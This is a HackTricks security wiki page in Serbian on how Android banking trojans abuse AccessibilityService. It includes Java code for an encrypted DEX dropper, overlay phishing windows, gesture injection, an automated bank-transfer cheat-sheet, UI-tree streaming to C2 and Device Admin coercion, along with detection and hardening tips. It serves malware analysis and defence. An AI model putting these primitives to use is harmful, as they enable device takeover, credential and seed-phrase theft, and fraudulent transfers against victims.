Zloupotreba Android Accessibility Service

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

AccessibilityService je napravljen da pomogne korisnicima sa invaliditetom da interaguju sa Android uređajima. Nažalost, iste moćne automation APIs (global navigation, text input, gesture dispatch, overlay windows…) mogu biti zloupotrebljene od strane malware-a da steknu potpunu daljinsku kontrolu nad uređajem bez root privilegija.

Savremeni Android banking Trojans i Remote-Access-Trojans (RATs) kao što su PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda i mnogi drugi slede isti recept:

  1. Sociotehnički ubediti žrtvu da omogući zlonamerni accessibility service (dozvola BIND_ACCESSIBILITY_SERVICE se smatra “high-risk” i zahteva eksplicitnu radnju korisnika).
  2. Iskoristiti servis za
  • presretanje svakog UI event-a i teksta koji se pojavi na ekranu,
  • ubrizgavanje sintetičkih gestova (dispatchGesture) i globalnih akcija (performGlobalAction) da se automatizuje bilo koji zadatak koji operator želi,
  • iscrtavanje full-screen overlay prozora preko legitimnih aplikacija koristeći tip prozora TYPE_ACCESSIBILITY_OVERLAY (nema SYSTEM_ALERT_WINDOW prompta!),
  • tiho dodeljivanje dodatnih runtime permissions klikom na sistemske dijaloge u ime žrtve.
  1. Eksfiltracija podataka ili izvođenje On-Device-Fraud (ODF) u realnom vremenu dok korisnik gleda potpuno normalan ekran.

Pakovani Accessibility droperi

ClayRat v3.0.8 povezuje svoj Accessibility RAT sa staged payload-om skrivenim u assets/. Pri pokretanju host APK:

  1. Streamuje enkriptovani blob iz assets/*.dat.
  2. Dekriptuje ga sa hard-coded AES/CBC ključem + IV ugrađenim u Java/Kotlin loader.
  3. Zapiše plaintext DEX u privatni direktorijum aplikacije i učitava ga preko DexClassLoader, izlažući stvarne spyware klase samo u memoriji.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

Ovaj obrazac pakovanja (ATT&CK T1406.002) drži Accessibility module van diska dok se dropper ne izvrši, čime se zaobilaze statička skeniranja potpisa i Play Protect dok korisnik ne dodeli opasne dozvole.


Traženje dozvole

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Prateći XML definiše kako će lažni dijalog izgledati:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitivi za udaljenu automatizaciju UI

Kostur automatizacije servisa pristupačnosti ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

Sa samo ova dva API-ja napadač može:
* Otključati ekran, otvoriti bankarsku aplikaciju, navigirati njegovim UI tree i podneti obrazac za prenos sredstava.
* Prihvatiti svaki dijalog za dozvole koji iskače.
* Instalirati/ažurirati dodatne APK-ove preko Play Store intent-a.

---

## Obrasci zloupotrebe

### 1. Overlay Phishing (Credential Harvesting)
Prozirni ili neprozirni `WebView` se dodaje u window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Žrtva unosi kredencijale u lažni formular dok pozadinska aplikacija prima iste geste – nikada se ne prikaže sumnjivi “draw over other apps” prompt.

Detaljan primer: odeljak Accessibility Overlay Phishing na stranici Tapjacking.

ClayRat izlaže ovu mogućnost pomoću komandi show_block_screen / hide_block_screen koje preuzimaju overlay template-ove sa C2. Operateri mogu dinamički menjati rasporede da:

  • Black out panel tako da žrtva pretpostavi da je uređaj isključen ili zamrznut dok automatizovane geste isključuju Play Protect ili odobravaju više dozvola.
  • Prikažu lažne system update / battery optimization panele koji opravdavaju zašto je uređaj “zauzet” dok pozadinska automatizacija nastavlja.
  • Pokažu interactive PIN pad overlay koji preslikava sistemski lock screen — malware hvata svaku cifru i strimuje je operateru čim se unese 4‑digit kod.

Pošto TYPE_ACCESSIBILITY_OVERLAY prozori nikada ne podižu SYSTEM_ALERT_WINDOW permission prompt, žrtva vidi samo mamac UI dok RAT nastavlja da interaguje sa pravim aplikacijama ispod.

2. Automatizacija prevara na uređaju

Maliciozne porodice poput PlayPraetor održavaju persistentan WebSocket kanal gde operater može izdavati visokonivo komandi (init, update, alert_arr, report_list, …). Servis prevodi te komande u niskonivo geste opisane iznad, postižući real‑time neautorizovane transakcije koje lako zaobilaze višefaktorsku autentifikaciju vezanu za taj uređaj.

3. Streamovanje i nadzor ekrana

ClayRat unapređuje uobičajeni MediaProjection trik u remote desktop stack:

  1. turbo_screen pokreće MediaProjection consent dialog; Accessibility service klikne “Start now” tako da žrtva nikada ne interveniše.
  2. Sa dobijenim MediaProjection tokenom kreira VirtualDisplay podržan ImageReader-om, održava ForegroundService živim i izvlači frejmove na worker thread-ovima.
  3. Frejmovi se JPEG/PNG enkoduju prema operaterom zadatom set_quality parametru (podrazumevano 60 ako nedostaje) i šalju preko HTTP→WebSocket upgrade-a koji reklamira custom ClayRemoteDesktop user‑agent.
  4. start_desktop / stop_desktop upravljaju capture thread-ovima dok screen_tap, screen_swipe, input_text, press_home, press_back i press_recents reprodukuju geste protiv live framebuffer‑a.

Rezultat je VNC‑sličan feed isporučen potpuno kroz odobrene API-je — bez root ili kernel exploit-a — a ipak daje napadaču živu situacionu svest sa milisekundnom latencijom.

4. Krađa kredencijala sa zaključanog ekrana i automatsko otključavanje

ClayRat se pretplaćuje na TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED događaje emitovane od strane com.android.systemui (Keyguard). Rekonstruiše koji god zaštitnik je aktivan:

  • PIN – prati pritiske tastera na numeričkoj tastaturi dok locker ne prijavi završetak.
  • Password – konkatenira stringove viđene u fokusiranom password polju za svaki AccessibilityEvent.
  • Pattern – beleži redosled indeksa čvorova izveden iz koordinata gesta preko 3×3 mreže.

Tajne zajedno sa metadata-om (tip zaključavanja + timestamp) serijalizuju se u SharedPreferences pod lock_password_storage. Kada operater pošalje auto_unlock, servis budi uređaj sa unlock_device / screen_on, reprodukuje sačuvane cifre ili geste kroz dispatchGesture i tiho zaobilazi keyguard tako da sledeći ODF workflow-i mogu da nastave.

5. Phishing i prikupljanje notifikacija

Prateći Notification Listener pretvara shade u phishing površinu:

  • get_push_notifications isprazni svaku trenutno vidljivu notifikaciju, uključujući OTP / MFA poruke.
  • Komanda notifications uključuje/isključuje notifications_enabled flag tako da svaki budući onNotificationPosted() payload bude strimovan ka C2 u realnom vremenu.
  • send_push_notification dozvoljava operaterima da kreiraju lažne, interaktivne notifikacije koje se predstavljaju kao banking ili chat aplikacije; svaki tekst koji žrtva unese se parsira kao kredencijali i odmah eksfiltrira.

Pošto Accessibility može programatski otvoriti/zatvoriti notification shade, ova metoda bere tajne bez dodirivanja ciljnih aplikacija.

6. Telefonski i SMS kanal komandi

Nakon što se korisnik prisili da postavi RAT kao default SMS aplikaciju, sledeće komande pružaju potpunu kontrolu modema:

  • send_sms i retransmishion šalju proizvoljne ili prenete poruke na brojeve pod kontrolom napadača.
  • messsms iterira preko cele contacts baze da spamuje phishing linkove za worm‑like propagaciju.
  • make_call inicira glasovne pozive koji podržavaju social‑engineering tokove.
  • get_sms_list / get_sms i get_call_log / get_calls dump-uju inbox i istoriju poziva tako da se MFA kodovi ili metapodaci poziva mogu odmah zloupotrebiti.

U kombinaciji sa Accessibility‑pokretanim navigacijama UI‑jem, ClayRat može primiti OTP putem notifikacije/SMS-a i odmah ga uneti u ciljnu banking ili enterprise aplikaciju.

7. Otkrivanje, prikupljanje i proksiranje

Dodatne ClayRat komande mapiraju okruženje i održavaju C2 resilientnim:

  • get_apps / get_apps_list nabrajaju instalirane pakete (ATT&CK T1418).
  • get_device_info izveštava model, verziju OS-a i stanje baterije (T1426).
  • get_cam / get_camera hvataju slike prednje kamere, dok get_keylogger_data serijalizuje lock PIN-ove plus password-e, opise view‑ova i hints iskidane iz osetljivih polja.
  • get_proxy_data preuzima proxy WebSocket URL, dodaje jedinstveni device ID i pokreće job koji tuneluje HTTP/HTTPS preko istog dvosmernog kanala (T1481.002 / T1646).

PlayPraetor – tok komandi i kontrole

  1. HTTP(S) heartbeat – iteracija kroz hard‑coded listu dok jedan domen ne odgovori POST /app/searchPackageName sa aktivnim C2.
  2. WebSocket (port 8282) – bidirekcionе JSON komande:
  • update – push novih conf/APK-ova
  • alert_arr – konfiguracija overlay template-ova
  • report_list – slanje liste ciljnih package imena
  • heartbeat_web – keep‑alive
  1. RTMP (port 1935) – live screen/video stream.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

AccessibilityService je lokalni engine koji te cloud komande pretvara u fizičke interakcije.


Otkrivanje malicioznih accessibility servisa

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – potražite aplikacije koje nisu iz Google Play.
  • MDM / EMM rešenja mogu nametnuti ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) da blokiraju sideloaded servise.
  • Analizirajte pokrenute servise:
adb shell dumpsys accessibility | grep "Accessibility Service"

Preporuke za jačanje bezbednosti za developere aplikacija

  • Obeležite osetljive view‑ove sa android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Kombinujte setFilterTouchesWhenObscured(true) sa FLAG_SECURE da sprečite tap/overlay hijacking.
  • Detektujte overlay‑e polling‑om WindowManager.getDefaultDisplay().getFlags() ili ViewRootImpl API‑jem.
  • Odbijte rad kada Settings.canDrawOverlays() ili nepouzdan Accessibility servis bude aktivan.

ATS automation cheat-sheet (Accessibility-driven)

Malware može u potpunosti automatizovati bank app koristeći samo Accessibility API‑je. Generičke primitive:

Pomoćne metode za ATS automatizaciju ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

Example flow (Czech → English labels):

  • “Nová platba” (Nova uplata) → klik
  • “Zadat platbu” (Unesi uplatu) → klik
  • “Nový příjemce” (Novi primalac) → klik
  • “Domácí číslo účtu” (Domaći broj računa) → fokusiraj i ACTION_SET_TEXT
  • “Další” (Dalje) → klik → … “Zaplatit” (Plati) → klik → unesi PIN

Fallback: hard-coded coordinates with dispatchGesture when text lookup fails due to custom widgets.

Also seen: pre-steps to check_limit and limit by navigating to limits UI and increasing daily limits before transfer.

Pseudo-streamovanje ekrana zasnovano na tekstu

For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Ovo je osnova za komande kao što su txt_screen (jednokratno) i screen_live (kontinuirano).

Device Admin primitiva za prinudu

Kada se Device Admin receiver aktivira, ovi pozivi povećavaju mogućnosti za presretanje kredencijala i održavanje kontrole:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Napomena: tačna dostupnost ovih politika varira po Android verziji i OEM-u; prilikom testiranja potvrdite device policy role (admin vs owner).

Obrasci ekstrakcije seed-phrase kripto novčanika

Posmatrani tokovi za MetaMask, Trust Wallet, Blockchain.com i Phantom:

  • Otključavanje ukradenim PIN-om (zabeleženim putem overlay/Accessibility) ili unetom lozinkom novčanika.
  • Navigacija: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Prikupljanje fraze putem keylogging-a text nodes, secure-screen bypass-a, ili screenshot OCR kada je tekst sakriven.
  • Podrška za više lokaliteta (EN/RU/CZ/SK) radi stabilizacije selektora – preferirati viewIdResourceName kada je dostupan, u suprotnom fallback na multilingual text matching.

NFC-relay orchestration

Accessibility/RAT moduli mogu instalirati i pokrenuti posvećenu NFC-relay aplikaciju (npr. NFSkate) kao treću fazu i čak ubaciti overlay vodič koji usmerava žrtvu kroz korake card-present relay.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks